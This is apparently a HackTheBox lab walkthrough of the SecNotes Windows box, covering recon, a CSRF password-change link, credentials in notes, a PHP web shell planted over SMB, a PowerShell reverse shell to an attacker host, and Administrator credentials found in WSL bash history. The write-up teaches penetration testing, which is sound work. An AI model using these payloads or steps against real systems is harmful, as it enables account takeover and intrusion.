SecNotes Writeup - HackTheBox
SecNotes is a Windows box running a notes application on IIS. The chain runs: a self-registered account that leaks an internal contact, a password change endpoint that takes no current password over GET, a CSRF link delivered through the contact form to take over that account, SMB credentials stored in the victim's notes, a PHP web shell written to a writable share that IIS serves on port 8808, and finally the Administrator password sitting in the root bash history of a WSL install under the user profile.
Reconnaissance
Port scan
Open $TARGET_IP:80 Open $TARGET_IP:445 Open $TARGET_IP:8808
Explain command
| -a $TARGET_IP | Address to sweep for open ports across the full range. |
Three ports only, which keeps the surface small: HTTP on 80, SMB on 445, and a second HTTP service on 8808. Version detection tells which stack sits behind them.
Service and version detection
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Secure Notes - Login |_Requested resource was login.php 445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB) 8808/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Host script results: | smb-security-mode: | account_used: guest | authentication_level: user |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3) | Computer name: SECNOTES |_ Workgroup: HTB
Explain command
| -sCV | Run the default script set and probe service versions. |
| -T4 | Faster timing template, safe against a lab target. |
| -p80,445,8808 | Limit the scan to the ports rustscan already found open. |
Port 80 serves a Secure Notes login built on PHP, port 8808 serves a stock IIS page with no application on it, and SMB reports a workgroup host named SECNOTES. An empty IIS instance next to an SMB service is a strong hint that one of the shares is the webroot for 8808, which only matters once there are credentials. The application on port 80 is the way in.
Enumeration
The notes application
Default credentials get nowhere on login.php, but the application allows self-registration, so registering an account is enough to see the authenticated surface. After login, http://$TARGET_IP/home.php offers New Note, Change Password, Sign Out, and Contact Us, plus a banner aimed at the users.
Due to GDPR, all users must delete any notes that contain Personally Identifiable Information (PII). Please contact tyler@secnotes.htb using the contact link below with any questions.
That names a real internal user, tyler, and the Contact Us form delivers messages to him. Two features that reach another user are worth testing against each other, starting with the password change.
Vulnerability Discovery
Password change without the current password
Proxying the Change Password action through Burp shows the whole operation as a single GET request that never asks for the existing password.
GET /change_pass.php?password=password&confirm_password=password&submit=submit HTTP/1.1
Host: $TARGET_IP
Cookie: PHPSESSID=fodf05130s9kurd6panr564b3a
A state changing action over GET, with no current password and no token, is cross-site request forgery in its simplest form. Anyone who opens that URL while logged in has their own password rewritten to whatever the query string says. The Contact Us form is the delivery channel, because it puts arbitrary text in front of tyler.
Exploitation
Taking over tyler through the contact form
http://$TARGET_IP/change_pass.php?password=password&confirm_password=password&submit=submit
Sending that link as the body of a Contact Us message gets it opened by tyler's session, and his password becomes password. Logging in as tyler with it shows his saved notes, one of which carries credentials for an SMB share.
New Site:
\\secnotes.htb\new-site
tyler / $TYLERS_PASSWORD
That is the link back to SMB and, by extension, to the idle IIS instance on 8808.
Share permissions
Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC new-site READ, WRITE
Explain command
| -H $TARGET_IP | Host to enumerate shares on. |
| -u tyler | Username to authenticate with. |
| -p '$TYLERS_PASSWORD' | Password recovered from the note. |
| -s new-site | Restrict the listing to the share of interest. |
Write access on new-site and nothing on the administrative shares. Since IIS on 8808 serves a site with no content, dropping a file on the share and requesting it over HTTP tests whether the two are the same directory.
Web shell over SMB
<?php system($_GET['cmd']); ?>
Enter WORKGROUP\tyler's password: Try "help" to get a list of possible commands. smb: \> put shell.php putting file shell.php as \shell.php
Explain command
| -U tyler | Authenticate as tyler instead of connecting anonymously. |
Requesting the uploaded file on the second IIS instance confirms both the webroot assumption and code execution.
http://$TARGET_IP:8808/shell.php?cmd=whoami
It returns secnotes\tyler. A single parameter shell is enough to upgrade to an interactive one, so the next request carries a Base64 encoded PowerShell reverse shell, URL encoded into the same parameter.
Interactive shell
http://$TARGET_IP:8808/shell.php?cmd=powershell%20-e%20<base64-encoded-payload>
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 55052 whoami secnotes\tyler PS C:\inetpub\new-site>
Explain command
| -l | Listen for an incoming connection instead of dialing out. |
| -v | Verbose output so the inbound connection is visible. |
| -n | Skip DNS resolution on the connecting address. |
| -p $ATTACKER_PORT | Local port the reverse shell connects back to. |
Foothold as secnotes\tyler, running inside the IIS site directory.
Privilege Escalation
WSL on the host
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 6/21/2018 3:07 PM Distros <snip> -a---- 6/21/2018 3:07 PM 201749452 Ubuntu.zip
A Distros folder and a 200 MB Ubuntu.zip at the root of the drive point at Windows Subsystem for Linux. The registry says which distribution is registered and where it lives.
DistributionName : Ubuntu-18.04 BasePath : C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState
A WSL distribution keeps its whole Linux filesystem under that path as ordinary NTFS files, so the Linux root home directory is readable from the Windows side without launching WSL at all. Shell history is the first thing to read there.
Administrator credentials in root bash history
cd /mnt/c/ <snip> mount //127.0.0.1/c$ filesystem/ -o user=administrator sudo apt install cifs-utils <snip> smbclient -U 'administrator%$ADMINISTRATORS_PASSWORD' \\\\127.0.0.1\\c$
Whoever set the box up mounted C$ from inside WSL and typed the local Administrator password on the command line, so it sits in the history in cleartext. The same command works against the target from the attacking machine.
Try "help" to get a list of possible commands. smb: \> cd Users\Administrator smb: \Users\Administrator\> ls Desktop DR 0 Thu Jun 21 15:07:24 2018 Documents DR 0 Thu Jun 21 15:07:24 2018 Downloads DR 0 Thu Jun 21 15:07:24 2018
Explain command
| -U 'administrator%$ADMINISTRATORS_PASSWORD' | Authenticate as the local Administrator with the password from the history file. |
Full read and write on C$ as Administrator. The box is done, with tyler as the user context and Administrator over SMB as the privileged one.
Related
References
-
Windows Subsystem for Linux FAQDOCS: Windows Subsystem for Linux FAQ, learn.microsoft.com/en-us/windows/wsl/faq (opens in new tab)
Documents where a WSL distribution stores its Linux filesystem on the Windows volume.
-
OWASP: Cross Site Request ForgeryLINK: OWASP: Cross Site Request Forgery, owasp.org/www-community/attacks/csrf (opens in new tab)
Background on state changing GET requests without tokens, the flaw behind the password reset.